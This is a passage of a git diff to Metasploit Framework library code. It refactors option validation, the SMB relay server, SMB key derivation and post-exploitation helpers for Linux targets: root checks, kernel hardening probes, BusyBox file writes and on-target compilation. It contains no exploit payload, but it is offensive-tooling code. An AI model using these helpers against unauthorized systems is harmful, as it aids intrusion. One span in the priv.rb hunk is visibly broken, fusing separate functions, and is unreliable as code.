self.exploit_simple(oexploit, opts, &block) end # Verify the options - exploit.options.validate(exploit.datastore) + exploit.validate # Start it up driver = Msf::ExploitDriver.new(exploit.framework) diff --git a/lib/msf/base/simple/post.rb b/lib/msf/base/simple/post.rb index 0d18a0186150c..6e329c79aca44 100644 --- a/lib/msf/base/simple/post.rb +++ b/lib/msf/base/simple/post.rb @@ -55,7 +55,7 @@ def self.run_simple(omod, opts = {}, &block) end # Verify the options - mod.options.validate(mod.datastore) + mod.validate # Initialize user interaction if ! opts['Quiet'] diff --git a/lib/msf/core/auxiliary/multiple_target_hosts.rb b/lib/msf/core/auxiliary/multiple_target_hosts.rb new file mode 100644 index 0000000000000..5e83d5e9d9e47 --- /dev/null +++ b/lib/msf/core/auxiliary/multiple_target_hosts.rb @@ -0,0 +1,29 @@ +# -*- coding: binary -*- + +module Msf + +### +# +# This module provides methods for modules which intend to handle multiple hosts +# themselves through some means, e.g. scanners. This circumvents the typical +# RHOSTS -> RHOST logic offered by the framework. +# +### + +module Auxiliary::MultipleTargetHosts + + def has_check? + respond_to?(:check_host) + end + + def check + nmod = replicant + begin + nmod.check_host(datastore['RHOST']) + rescue NoMethodError + Exploit::CheckCode::Unsupported + end + end + +end +end diff --git a/lib/msf/core/auxiliary/scanner.rb b/lib/msf/core/auxiliary/scanner.rb index acceae5b5c5bf..23a5037b64c9b 100644 --- a/lib/msf/core/auxiliary/scanner.rb +++ b/lib/msf/core/auxiliary/scanner.rb @@ -10,6 +10,8 @@ module Msf module Auxiliary::Scanner +include Msf::Auxiliary::MultipleTargetHosts + class AttemptFailed < Msf::Auxiliary::Failed end @@ -31,20 +33,6 @@ def initialize(info = {}) end -def has_check? - respond_to?(:check_host) -end - -def check - nmod = replicant - begin - nmod.check_host(datastore['RHOST']) - rescue NoMethodError - Exploit::CheckCode::Unsupported - end -end - - def peer # IPv4 addr can be 16 chars + 1 for : and + 5 for port super.ljust(21) diff --git a/lib/msf/core/exploit/remote/smb/client/kerberos_authentication.rb b/lib/msf/core/exploit/remote/smb/client/kerberos_authentication.rb index bac177d20aa1b..016d3c0efb81b 100644 --- a/lib/msf/core/exploit/remote/smb/client/kerberos_authentication.rb +++ b/lib/msf/core/exploit/remote/smb/client/kerberos_authentication.rb @@ -122,17 +122,21 @@ def smb2_authenticate # see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/7fd079ca-17e6-4f02-8449-46b606ea289c if @dialect == '0x0300' || @dialect == '0x0302' - @application_key = RubySMB::Crypto::KDF.counter_mode( + @application_key = Rex::Crypto::KeyDerivation::NIST_SP_800_108.counter_hmac( @session_key, - "SMB2APP\x00", - "SmbRpc\x00" - ) + 16, + 'SHA256', + label: "SMB2APP\x00", + context: "SmbRpc\x00" + ).first else - @application_key = RubySMB::Crypto::KDF.counter_mode( + @application_key = Rex::Crypto::KeyDerivation::NIST_SP_800_108.counter_hmac( @session_key, - "SMBAppKey\x00", - @preauth_integrity_hash_value - ) + 16, + 'SHA256', + label: "SMBAppKey\x00", + context: @preauth_integrity_hash_value + ).first end # otherwise, leave encryption to the default value that it was initialized to end diff --git a/lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb b/lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb index 87e1ee46d3322..e1cf2ec337164 100644 --- a/lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb +++ b/lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb @@ -29,8 +29,12 @@ def do_tree_connect_smb2(request, session) return super(request, session) end - logger.print_status("Relaying to next target #{session.metadata[:relay_target]}") + + if session.metadata[:relay_target].protocol == :smb && session.metadata[:relay_target].ip == peerhost + logger.print_warning('Relaying SMB to SMB on the same host will not work if the target has been patched for MS08-068') + end + relayed_connection = create_relay_client( session.metadata[:relay_target], @relay_timeout diff --git a/lib/msf/core/exploit/remote/smb/relay_server.rb b/lib/msf/core/exploit/remote/smb/relay_server.rb index d8610f0627093..af88e31cb199d 100644 --- a/lib/msf/core/exploit/remote/smb/relay_server.rb +++ b/lib/msf/core/exploit/remote/smb/relay_server.rb @@ -4,6 +4,7 @@ module Msf module Exploit::Remote::SMB # This mixin provides a minimal SMB server module RelayServer + include ::Msf::Auxiliary::MultipleTargetHosts include ::Msf::Exploit::Remote::SocketServer include ::Msf::Exploit::Remote::SMB::Server::HashCapture @@ -15,7 +16,7 @@ def initialize(info = {}) OptPort.new('SRVPORT', [true, 'The local port to listen on.', 445]), OptString.new('SMBDomain', [true, 'The domain name used during SMB exchange.', 'WORKGROUP'], aliases: ['DOMAIN_NAME']), OptInt.new('SRV_TIMEOUT', [true, 'Seconds that the server socket will wait for a response after the client has initiated communication.', 25]), - OptAddressRange.new('RELAY_TARGETS', [true, 'Target address range or CIDR identifier to relay to'], aliases: ['SMBHOST']), + OptAddressRange.new('RHOSTS', [true, 'Target address range or CIDR identifier to relay to'], aliases: ['SMBHOST', 'RELAY_TARGETS']), OptInt.new('RELAY_TIMEOUT', [true, 'Seconds that the relay socket will wait for a response after the client has initiated communication.', 25]) ], self.class) end diff --git a/lib/msf/core/exploit/remote/tcp.rb b/lib/msf/core/exploit/remote/tcp.rb index e0992907e2d17..153687db05b9c 100644 --- a/lib/msf/core/exploit/remote/tcp.rb +++ b/lib/msf/core/exploit/remote/tcp.rb @@ -209,11 +209,22 @@ def print_prefix # Otherwise we are logging in the global context where rhost can be any # size (being an alias for rhosts), which is not very useful to insert into # a single log line. - if rhost && rhost.split(' ').length == 1 - super + peer + ' - ' - else - super + unless instance_variable_defined?(:@print_prefix) + if rhost.present? && Rex::Socket::RangeWalker.new(rhost).length == 1 + @print_prefix = peer + ' - ' + else + @print_prefix = '' + end end + + super + @print_prefix + end + + def replicant + obj = super + # invalidate the cached print_prefix in case the target changes + obj.remove_instance_variable(:@print_prefix) if instance_variable_defined?(:@print_prefix) + obj end ## @@ -259,7 +270,7 @@ def lport # Returns the rhost:rport def peer - "#{rhost}:#{rport}" + Rex::Socket.to_authority(rhost, rport) end # diff --git a/lib/msf/core/feature_manager.rb b/lib/msf/core/feature_manager.rb index d822bb96dd983..a0340b90b9d51 100644 --- a/lib/msf/core/feature_manager.rb +++ b/lib/msf/core/feature_manager.rb @@ -94,8 +94,8 @@ class FeatureManager name: LDAP_SESSION_TYPE, description: 'When enabled will allow for the creation/use of LDAP sessions', requires_restart: true, - default_value: false, - developer_notes: 'To be enabled by default after appropriate testing' + default_value: true, + developer_notes: 'Enabled in Metasploit 6.4.52' }.freeze, { name: SHOW_SUCCESSFUL_LOGINS, diff --git a/lib/msf/core/modules/metadata/search.rb b/lib/msf/core/modules/metadata/search.rb index f891aed4d7999..8e027447a22b1 100644 --- a/lib/msf/core/modules/metadata/search.rb +++ b/lib/msf/core/modules/metadata/search.rb @@ -255,9 +255,9 @@ def is_match(params, module_metadata, regex_cache) when 'ref', 'ref_name' match = [keyword, search_term] if module_metadata.ref_name =~ regex when 'reference', 'references' - match = [keyword, search_term] if module_metadata.references.any? { |ref| ref =~ regex } + match = [keyword, search_term] if module_metadata.references && module_metadata.references.any? { |ref| ref =~ regex } when 'target', 'targets' - match = [keyword, search_term] if module_metadata.targets.any? { |target| target =~ regex } + match = [keyword, search_term] if module_metadata.targets && module_metadata.targets.any? { |target| target =~ regex } when 'type' match = [keyword, search_term] if Msf::MODULE_TYPES.any? { |module_type| search_term == module_type and module_metadata.type == module_type } else diff --git a/lib/msf/core/optional_session.rb b/lib/msf/core/optional_session.rb index c10a88585d613..8b4224514e657 100644 --- a/lib/msf/core/optional_session.rb +++ b/lib/msf/core/optional_session.rb @@ -8,6 +8,12 @@ module Msf module OptionalSession include Msf::SessionCompatibility + attr_accessor :session_or_rhost_required + + def session_or_rhost_required? + @session_or_rhost_required.nil? ? true : @session_or_rhost_required + end + # Validates options depending on whether we are using SESSION or an RHOST for our connection def validate super @@ -18,7 +24,7 @@ def validate validate_session elsif rhost validate_rhost - else + elsif session_or_rhost_required? raise Msf::OptionValidateError.new(message: 'A SESSION or RHOST must be provided') end end diff --git a/lib/msf/core/post/linux/busy_box.rb b/lib/msf/core/post/linux/busy_box.rb index 665aff49c6d6f..10310f5bc2eb7 100644 --- a/lib/msf/core/post/linux/busy_box.rb +++ b/lib/msf/core/post/linux/busy_box.rb @@ -1,109 +1,118 @@ # -*- coding: binary -*- +require 'rex' module Msf -class Post -module Linux -module BusyBox - - include ::Msf::Post::Common - include ::Msf::Post::File - - # Checks if the file exists in the target - # - # @param file_path [String] the target file path - # @return [Boolean] true if files exists, false otherwise - # @note Msf::Post::File#file? doesnt work because test -f is not available in busybox - def busy_box_file_exist?(file_path) - contents = read_file(file_path) - if contents.nil? || contents.empty? - return false + class Post + module Linux + module BusyBox + include ::Msf::Post::Common + include ::Msf::Post::File + + # + # Checks if the file exists in the target + # + # @param file_path [String] the target file path + # @return [Boolean] true if files exists, false otherwise + # @note Msf::Post::File#file? doesnt work because test -f is not available in busybox + # + def busy_box_file_exist?(file_path) + contents = read_file(file_path) + if contents.nil? || contents.empty? + return false + end + + true + end + + # + # Checks if the directory is writable in the target + # + # @param dir_path [String] the target directory path + # @return [Boolean] true if target directory is writable, false otherwise + # + def busy_box_is_writable_dir?(dir_path) + res = false + rand_str = Rex::Text.rand_text_alpha(16) + file_path = "#{dir_path}/#{rand_str}" + + cmd_exec("echo #{rand_str}XXX#{rand_str} > #{file_path}") + Rex.sleep(0.3) + rcv = read_file(file_path) + + if rcv.include?("#{rand_str}XXX#{rand_str}") + res = true + end + + cmd_exec("rm -f #{file_path}") + Rex.sleep(0.3) + + res + end + + # + # Checks some directories that usually are writable in devices running busybox + # + # @return [String] If the function finds a writable directory, it returns the path. Else it returns nil + # + def busy_box_writable_dir + dirs = %w[/etc/ /mnt/ /var/ /var/tmp/] + + dirs.each do |d| + return d if busy_box_is_writable_dir?(d) + end + + nil + end + + # + # Writes data to a file + # + # @param file_path [String] the file path to write on the target + # @param data [String] the content to be written + # @param prepend [Boolean] if true, prepend the data to the target file. Otherwise, overwrite + # the target file + # @return [Boolean] true if target file is writable and it was written. Otherwise, false. + # @note BusyBox commands are limited and Msf::Post::File#write_file doesn't work here, because + # of it is necessary to implement an specific method. + # + def busy_box_write_file(file_path, data, prepend = false) + if prepend + dir = busy_box_writable_dir + return false unless dir + + cmd_exec("cp -f #{file_path} #{dir}tmp") + Rex.sleep(0.3) + end + + rand_str = Rex::Text.rand_text_alpha(16) + cmd_exec("echo #{rand_str} > #{file_path}") + Rex.sleep(0.3) + + unless read_file(file_path).include?(rand_str) + return false + end + + cmd_exec("echo \"\"> #{file_path}") + Rex.sleep(0.3) + + lines = data.lines.map(&:chomp) + lines.each do |line| + cmd_exec("echo #{line.chomp} >> #{file_path}") + Rex.sleep(0.3) + end + + if prepend + cmd_exec("cat #{dir}tmp >> #{file_path}") + Rex.sleep(0.3) + + cmd_exec("rm -f #{dir}tmp") + Rex.sleep(0.3) + end + + true + end + end end - - true - end - - # Checks if the directory is writable in the target - # - # @param dir_path [String] the target directory path - # @return [Boolean] true if target directory is writable, false otherwise - def busy_box_is_writable_dir?(dir_path) - res = false - rand_str = Rex::Text.rand_text_alpha(16) - file_path = "#{dir_path}/#{rand_str}" - - cmd_exec("echo #{rand_str}XXX#{rand_str} > #{file_path}") - Rex::sleep(0.3) - rcv = read_file(file_path) - - if rcv.include?("#{rand_str}XXX#{rand_str}") - res = true - end - - cmd_exec("rm -f #{file_path}") - Rex::sleep(0.3) - - res - end - - # Checks some directories that usually are writable in devices running busybox - # @return [String] If the function finds a writable directory, it returns the path. Else it returns nil - def busy_box_writable_dir - dirs = %w(/etc/ /mnt/ /var/ /var/tmp/) - - dirs.each do |d| - return d if busy_box_is_writable_dir?(d) - end - - nil - end - - - # Writes data to a file - # - # @param file_path [String] the file path to write on the target - # @param data [String] the content to be written - # @param prepend [Boolean] if true, prepend the data to the target file. Otherwise, overwrite - # the target file - # @return [Boolean] true if target file is writable and it was written. Otherwise, false. - # @note BusyBox commands are limited and Msf::Post::File#write_file doesn't work here, because - # of it is necessary to implement an specific method. - def busy_box_write_file(file_path, data, prepend = false) - if prepend - dir = busy_box_writable_dir - return false unless dir - cmd_exec("cp -f #{file_path} #{dir}tmp") - Rex::sleep(0.3) - end - - rand_str = Rex::Text.rand_text_alpha(16) - cmd_exec("echo #{rand_str} > #{file_path}") - Rex::sleep(0.3) - - unless read_file(file_path).include?(rand_str) - return false - end - - cmd_exec("echo \"\"> #{file_path}") - Rex::sleep(0.3) - - lines = data.lines.map(&:chomp) - lines.each do |line| - cmd_exec("echo #{line.chomp} >> #{file_path}") - Rex::sleep(0.3) - end - - if prepend - cmd_exec("cat #{dir}tmp >> #{file_path}") - Rex::sleep(0.3) - - cmd_exec("rm -f #{dir}tmp") - Rex::sleep(0.3) - end - - true end -end # Busybox -end # Linux -end # Post -end # Msf +end diff --git a/lib/msf/core/post/linux/compile.rb b/lib/msf/core/post/linux/compile.rb index 562f962a1bd66..03e28cc1720eb 100644 --- a/lib/msf/core/post/linux/compile.rb +++ b/lib/msf/core/post/linux/compile.rb @@ -1,88 +1,113 @@ # -*- coding: binary -*- -module Msf -class Post -module Linux -module Compile - include ::Msf::Post::Common - include ::Msf::Post::File - include ::Msf::Post::Unix - - def initialize(info = {}) - super - register_options( [ - OptEnum.new('COMPILE', [true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]), - OptEnum.new('COMPILER', [true, 'Compiler to use on target', 'Auto', ['Auto', 'gcc', 'clang']]), - ], self.class) - end - - def get_compiler - if has_gcc? - return 'gcc' - elsif has_clang? - return 'clang' - else - return nil - end - end - - def live_compile? - return false unless %w{ Auto True }.include?(datastore['COMPILE']) - - if datastore['COMPILER'] == 'gcc' && has_gcc? - vprint_good 'gcc is installed' - return true - elsif datastore['COMPILER'] == 'clang' && has_clang? - vprint_good 'clang is installed' - return true - elsif datastore['COMPILER'] == 'Auto' && get_compiler.present? - return true - end - unless datastore['COMPILE'] == 'Auto' - fail_with Module::Failure::BadConfig, "#{datastore['COMPILER']} is not installed. Set COMPILE False to upload a pre-compiled executable." - end - - false - end - - def upload_and_compile(path, data, compiler_args='') - write_file "#{path}.c", strip_comments(data) - - compiler = datastore['COMPILER'] - if datastore['COMPILER'] == 'Auto' - compiler = get_compiler - fail_with(Module::Failure::BadConfig, "Unable to find a compiler on the remote target.") unless compiler.present? - end - - compiler_cmd = "#{compiler} -o '#{path}' '#{path}.c'" - if session.type == 'shell' - compiler_cmd = "PATH=\"$PATH:/usr/bin/\" #{compiler_cmd}" - end - - unless compiler_args.to_s.blank? - compiler_cmd << " #{compiler_args}" - end - - verification_token = Rex::Text.rand_text_alphanumeric(8) - success = cmd_exec("#{compiler_cmd} && echo #{verification_token}")&.include?(verification_token) - - rm_f "#{path}.c" - - unless success - message = "#{path}.c failed to compile." - # don't mention the COMPILE option if it was deregistered - message << ' Set COMPILE to False to upload a pre-compiled executable.' if options.include?('COMPILE') - fail_with Module::Failure::BadConfig, message +module Msf + class Post + module Linux + module Compile + include ::Msf::Post::Common + include ::Msf::Post::Linux::System + include ::Msf::Post::File + include ::Msf::Post::Unix + + def initialize(info = {}) + super + register_options([ + OptEnum.new('COMPILE', [true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]), + OptEnum.new('COMPILER', [true, 'Compiler to use on target', 'Auto', ['Auto', 'gcc', 'clang']]), + ], self.class) + end + + # Determines the available compiler on the target system. + # + # @return [String, nil] The name of the compiler ('gcc' or 'clang') if available, or nil if none are found. + def get_compiler + if has_gcc? + return 'gcc' + elsif has_clang? + return 'clang' + else + return nil + end + end + + # Checks whether the target supports live compilation based on the module's configuration and available tools. + # + # @return [Boolean] True if compilation is supported and a compiler is available; otherwise, False. + # @raise [Module::Failure::BadConfig] If the specified compiler is not installed and compilation is required. + def live_compile? + return false unless %w[Auto True].include?(datastore['COMPILE']) + + if datastore['COMPILER'] == 'gcc' && has_gcc? + vprint_good 'gcc is installed' + return true + elsif datastore['COMPILER'] == 'clang' && has_clang? + vprint_good 'clang is installed' + return true + elsif datastore['COMPILER'] == 'Auto' && get_compiler.present? + return true + end + + unless datastore['COMPILE'] == 'Auto' + fail_with Module::Failure::BadConfig, "#{datastore['COMPILER']} is not installed. Set COMPILE False to upload a pre-compiled executable." + end + + false + end + + # + # Uploads C code to the target, compiles it, and handles verification of the compiled binary. + # + # @param path [String] The path where the compiled binary will be created. + # @param data [String] The C code to compile. + # @param compiler_args [String] Additional arguments for the compiler command. + # @raise [Module::Failure::BadConfig] If compilation fails or no compiler is found. + # + def upload_and_compile(path, data, compiler_args = '') + compiler = datastore['COMPILER'] + if datastore['COMPILER'] == 'Auto' + compiler = get_compiler + fail_with(Module::Failure::BadConfig, 'Unable to find a compiler on the remote target.') if compiler.nil? + end + + path = "#{path}.c" unless path.end_with?('.c') + + # only upload the file if a compiler exists + write_file path.to_s, strip_comments(data) + + compiler_cmd = "#{compiler} -o '#{path.sub(/\.c$/, '')}' '#{path}'" + if session.type == 'shell' + compiler_cmd = "PATH=\"$PATH:/usr/bin/\" #{compiler_cmd}" + end + + unless compiler_args.to_s.blank? + compiler_cmd << " #{compiler_args}" + end + + verification_token = Rex::Text.rand_text_alphanumeric(8) + success = cmd_exec("#{compiler_cmd} && echo #{verification_token}")&.include?(verification_token) + + rm_f path.to_s + + unless success + message = "#{path} failed to compile." + # don't mention the COMPILE option if it was deregistered + message << ' Set COMPILE to False to upload a pre-compiled executable.' if options.include?('COMPILE') + fail_with Module::Failure::BadConfig, message + end + + chmod path + end + + # + # Strips comments from C source code. + # + # @param c_code [String] The C source code. + # @return [String] The C code with comments removed. + # + def strip_comments(c_code) + c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '') + end + end end - - chmod path end - - def strip_comments(c_code) - c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '') - end - -end # Compile -end # Linux -end # Post -end # Msf +end diff --git a/lib/msf/core/post/linux/kernel.rb b/lib/msf/core/post/linux/kernel.rb index 6f0bfb4ce1b4d..a7a3a0ebb031d 100644 --- a/lib/msf/core/post/linux/kernel.rb +++ b/lib/msf/core/post/linux/kernel.rb @@ -6,10 +6,13 @@ module Linux module Kernel include ::Msf::Post::Common include Msf::Post::File + # # Returns uname output # + # @param opt [String] uname options, defaults to -a # @return [String] + # @raise [RuntimeError] If execution fails. # def uname(opts = '-a') cmd_exec("uname #{opts}").to_s.strip @@ -79,9 +82,10 @@ def kernel_arch end # - # Returns the kernel boot config + # Returns the kernel boot config with comments removed # # @return [Array] + # @raise [RuntimeError] If execution fails. # def kernel_config release = kernel_release @@ -98,6 +102,7 @@ def kernel_config # Returns the kernel modules # # @return [Array] + # @raise [RuntimeError] If execution fails. # def kernel_modules read_file('/proc/modules').to_s.scan(/^[^ ]+/) @@ -109,6 +114,7 @@ def kernel_modules # Returns a list of CPU flags # # @return [Array] + # @raise [RuntimeError] If execution fails. # def cpu_flags cpuinfo = read_file('/proc/cpuinfo').to_s @@ -124,6 +130,7 @@ def cpu_flags # Returns true if kernel and hardware supports Supervisor Mode Access Prevention (SMAP), false if not. # # @return [Boolean] + # @raise [RuntimeError] If execution fails. # def smap_enabled? cpu_flags.include? 'smap' @@ -135,6 +142,7 @@ def smap_enabled? # Returns true if kernel and hardware supports Supervisor Mode Execution Protection (SMEP), false if not. # # @return [Boolean] + # @raise [RuntimeError] If execution fails. # def smep_enabled? cpu_flags.include? 'smep' @@ -146,6 +154,7 @@ def smep_enabled? # Returns true if Kernel Address Isolation (KAISER) is enabled # # @return [Boolean] + # @raise [RuntimeError] If execution fails. # def kaiser_enabled? cpu_flags.include? 'kaiser' @@ -157,6 +166,7 @@ def kaiser_enabled? # Returns true if Kernel Page-Table Isolation (KPTI) is enabled, false if not. # # @return [Boolean] + # @raise [RuntimeError] If execution fails. # def kpti_enabled? cpu_flags.include? 'pti' @@ -168,6 +178,7 @@ def kpti_enabled? # Returns true if user namespaces are enabled, false if not. # # @return [Boolean] + # @raise [RuntimeError] If execution fails. # def userns_enabled? return false if read_file('/proc/sys/user/max_user_namespaces').to_s.strip.eql? '0' @@ -182,6 +193,7 @@ def userns_enabled? # Returns true if Address Space Layout Randomization (ASLR) is enabled # # @return [Boolean] + # @raise [RuntimeError] If execution fails. # def aslr_enabled? aslr = read_file('/proc/sys/kernel/randomize_va_space').to_s.strip @@ -194,6 +206,7 @@ def aslr_enabled? # Returns true if Exec-Shield is enabled # # @return [Boolean] + # @raise [RuntimeError] If execution fails. # def exec_shield_enabled? exec_shield = read_file('/proc/sys/kernel/exec-shield').to_s.strip @@ -206,6 +219,7 @@ def exec_shield_enabled? # Returns true if unprivileged bpf is disabled # # @return [Boolean] + # @raise [RuntimeError] If execution fails. # def unprivileged_bpf_disabled? unprivileged_bpf_disabled = read_file('/proc/sys/kernel/unprivileged_bpf_disabled').to_s.strip @@ -218,6 +232,7 @@ def unprivileged_bpf_disabled? # Returns true if kernel pointer restriction is enabled # # @return [Boolean] + # @raise [RuntimeError] If execution fails. # def kptr_restrict? read_file('/proc/sys/kernel/kptr_restrict').to_s.strip.eql? '1' @@ -229,6 +244,7 @@ def kptr_restrict? # Returns true if dmesg restriction is enabled # # @return [Boolean] + # @raise [RuntimeError] If execution fails. # def dmesg_restrict? read_file('/proc/sys/kernel/dmesg_restrict').to_s.strip.eql? '1' @@ -240,6 +256,7 @@ def dmesg_restrict? # Returns mmap minimum address # # @return [Integer] + # @raise [RuntimeError] If execution fails. # def mmap_min_addr mmap_min_addr = read_file('/proc/sys/vm/mmap_min_addr').to_s.strip @@ -253,6 +270,9 @@ def mmap_min_addr # # Returns true if Linux Kernel Runtime Guard (LKRG) kernel module is installed # + # @return [Boolean] + # @raise [RuntimeError] If execution fails. + # def lkrg_installed? directory?('/proc/sys/lkrg') rescue StandardError @@ -262,6 +282,9 @@ def lkrg_installed? # # Returns true if grsecurity is installed # + # @return [Boolean] + # @raise [RuntimeError] If execution fails. + # def grsec_installed? cmd_exec('test -c /dev/grsec && echo true').to_s.strip.include? 'true' rescue StandardError @@ -271,6 +294,9 @@ def grsec_installed? # # Returns true if PaX is installed # + # @return [Boolean] + # @raise [RuntimeError] If execution fails. + # def pax_installed? read_file('/proc/self/status').to_s.include? 'PaX:' rescue StandardError @@ -281,6 +307,7 @@ def pax_installed? # Returns true if SELinux is installed # # @return [Boolean] + # @raise [RuntimeError] If execution fails. # def selinux_installed? cmd_exec('id').to_s.include? 'context=' @@ -292,6 +319,7 @@ def selinux_installed? # Returns true if SELinux is in enforcing mode # # @return [Boolean] + # @raise [RuntimeError] If execution fails. # def selinux_enforcing? return false unless selinux_installed? @@ -310,6 +338,7 @@ def selinux_enforcing? # Returns true if Yama is installed # # @return [Boolean] + # @raise [RuntimeError] If execution fails. # def yama_installed? ptrace_scope = read_file('/proc/sys/kernel/yama/ptrace_scope').to_s.strip @@ -324,6 +353,7 @@ def yama_installed? # Returns true if Yama is enabled # # @return [Boolean] + # @raise [RuntimeError] If execution fails. # def yama_enabled? return false unless yama_installed? @@ -332,7 +362,7 @@ def yama_enabled? rescue StandardError raise 'Could not determine Yama status' end - end # Kernel - end # Linux - end # Post -end # Msf + end + end + end +end diff --git a/lib/msf/core/post/linux/packages.rb b/lib/msf/core/post/linux/packages.rb new file mode 100644 index 0000000000000..6c55f0f8cd280 --- /dev/null +++ b/lib/msf/core/post/linux/packages.rb @@ -0,0 +1,72 @@ +# -*- coding: binary -*- + +module Msf + class Post + module Linux + module Packages + include ::Msf::Post::Linux::System + + # + # Determines the version of an installed package + # + # @param package The package name to check for + # @return [Rex::Version] nil if OS is not supported or package is not installed + # + def installed_package_version(package) + info = get_sysinfo + + if ['debian', 'ubuntu'].include?(info[:distro]) + package_version = cmd_exec("dpkg-query -f='${Version}' -W #{package}") + # The "no package" error is language based, but "dpkg-query:" starting is not + return nil if package_version.start_with?('dpkg-query:') + + package_version = package_version.gsub('+', '.') + return Rex::Version.new(package_version) + elsif ['redhat', 'fedora', 'centos'].include?(info[:distro]) + package_version = cmd_exec("rpm -q #{package}") + return nil unless package_version.start_with?(package) + + # dnf-4.18.0-2.fc39.noarch + # remove package name at the beginning + package_version = package_version.split("#{package}-")[1] + # remove arch at the end + package_version = package_version.sub(/\.[^.]*$/, '') + return Rex::Version.new(package_version) + elsif ['solaris', 'oracle', 'freebsd'].include?(info[:distro]) + package_version = cmd_exec("pkg info #{package}") + return nil unless package_version.include?('Version') + + package_version = package_version.match(/Version\s+:\s+(.+)/)[1] + return Rex::Version.new(package_version) + elsif ['gentoo'].include?(info[:distro]) + # https://wiki.gentoo.org/wiki/Equery + if command_exists?('equery') + package_version = cmd_exec("equery --quiet list #{package}") + # https://wiki.gentoo.org/wiki/Q_applets + elsif command_exists?('qlist') + package_version = cmd_exec("qlist -Iv #{package}") + else + vprint_error("installed_package_version couldn't find qlist and equery on gentoo") + return nil + end + return nil if package_version.strip.empty? + + package_version = package_version.split('/')[1] + # make gcc-1.1 to 1.1 + package_version = package_version.sub(/.*?-/, '') + return Rex::Version.new(package_version) + elsif ['arch'].include?(info[:distro]) + package_version = cmd_exec("pacman -Qi #{package}") + return nil unless package_version.include?('Version') + + package_version = package_version.match(/Version\s+:\s+(.+)/)[1] + return Rex::Version.new(package_version) + else + vprint_error("installed_package_version is being called on an unsupported OS: #{info[:distro]}") + end + nil + end + end + end + end +end diff --git a/lib/msf/core/post/linux/priv.rb b/lib/msf/core/post/linux/priv.rb index e8d8a302cd927..97e085b67b0fa 100644 --- a/lib/msf/core/post/linux/priv.rb +++ b/lib/msf/core/post/linux/priv.rb @@ -1,125 +1,198 @@ # -*- coding: binary -*- module Msf -class Post -module Linux -module Priv - include ::Msf::Post::Common - - # - # Returns true if running as root, false if not. - # @return [Boolean] - # - def is_root? - if command_exists?('id') - user_id = cmd_exec('id -u') - clean_user_id = user_id.to_s.gsub(/[^\d]/, '') - if clean_user_id.empty? - raise "Could not determine UID: #{user_id.inspect}" + class Post + module Linux + module Priv + include ::Msf::Post::Common + include ::Msf::Post::File + + # + # Returns true if running as root, false if not. + # + # @return [Boolean] + # @raise [RuntimeError] If execution fails. + # + def is_root? + if command_exists?('id') + user_id = cmd_exec('id -u') + clean_user_id = user_id.to_s.gsub(/[^\d]/, '') + if clean_user_id.empty? + raise "Could not determine UID: #{user_id.inspect}" + end + + return (clean_user_id == '0') + end + user = whoami + data = cmd_exec('while read line; do echo $line; done #{new_path_file}") + end + + # + # Copies the content of one file to another using a command execution + # + # @param origin_file [String] the path to the source file + # @param final_file [String] the path to the destination file + # @return [String] the output of the command + # + def cp_cmd(origin_file, final_file) + file_origin = read_file(origin_file) + cmd_exec("echo '#{file_origin}' > '#{final_file}'") + end + + # + # Retrieves the binary name of a process given its PID + # + # @param pid [Integer] the process ID + # @return [String] the binary name of the process + # + def binary_of_pid(pid) + binary = read_file("/proc/#{pid}/cmdline") + if binary == '' # binary.empty? + binary = read_file("/proc/#{pid}/comm") + end + if binary[-1] == "\n" + binary = binary.split("\n")[0] + end + return binary + end + + # + # Generates a sequence of numbers from `first` to `last` with a given `increment` + # + # @param first [Integer] the starting number of the sequence + # @param increment [Integer] the step increment between each number in the sequence + # @param last [Integer] the ending number of the sequence + # @return [Array] an array containing the sequence of numbers + # + def seq(first, increment, last) + result = [] + (first..last).step(increment) do |i| + result.insert(-1, i) + end + return result + end + + # + # Returns the number of lines, words, and characters in a file + # + # @param file [String] the path to the file + # @return [Array] an array containing the number of lines, words, characters, and the file name + # + def wc_cmd(file) + [nlines_file(file), nwords_file(file), nchars_file(file), file] + end + + # + # Returns the number of characters in a file + # + # @param file [String] the path to the file + # @return [Integer] the number of characters in the file + # + def nchars_file(file) + nchars = 0 + lines = read_file(file).split("\n") + nchars = lines.length + lines.each do |line| + line.gsub(/ /, ' ' => '') + nchars_line = line.length + nchars += nchars_line + end + nchars + end + + # + # Returns the number of words in a file + # + # @param file [String] the path to the file + # @return [Integer] the number of words in the file + # + def nwords_file(file) + nwords = 0 + lines = read_file(file).split("\n") + lines.each do |line| + words = line.split(' ') + nwords_line = words.length + nwords += nwords_line + end + return nwords + end + + # + # Returns the number of lines in a file + # + # @param file [String] the path to the file + # @return [Integer] the number of lines in the file + # + def nlines_file(file) + lines = read_file(file).split("\n") + nlines = lines.length + return nlines + end + + # + # Returns the first `n` lines of a file + # + # @param file [String] the path to the file + # @param nlines [Integer] the number of lines to return + # @return [Array] an array containing the first `n` lines of the file + # + def head_cmd(file, nlines) + lines = read_file(file).split("\n") + result = lines[0..nlines - 1] + return result + end + + # + # Returns the last `n` lines of a file + # + # @param file [String] the path to the file + # @param nlines [Integer] the number of lines to return + # @return [Array] an array containing the last `n` lines of the file + # + def tail_cmd(file, nlines) + lines = read_file(file).split("\n") + result = lines[-1 * nlines..] + return result + end + + # + # Searches for a specific string in a file and returns the lines that contain the string + # + # @param file [String] the path to the file + # @param string [String] the string to search for + # @return [Array] an array containing the lines that include the specified string + # + def grep_cmd(file, string) + result = [] + lines = read_file(file).split("\n") + + lines.each do |line| + if line.include?(string) + result.insert(-1, line) + end + end + return result + end end - return (clean_user_id == '0') end - user = whoami - data = cmd_exec('while read line; do echo $line; done #{new_path_file}") - end - - def cp_cmd(origin_file, final_file) - file_origin = read_file(origin_file) - cmd_exec("echo '#{file_origin}' > #{final_file}") - end - - def binary_of_pid(pid) - binary = read_file("/proc/#{pid}/cmdline") - if binary == "" #binary.empty? - binary = read_file("/proc/#{pid}/comm") - end - if binary[-1] == "\n" - binary = binary.split("\n")[0] - end - return binary - end - - def seq(first, increment, last) - result = [] - (first..last).step(increment) do |i| - result.insert(-1, i) - end - return result - end - - def wc_cmd(file) - [nlines_file(file), 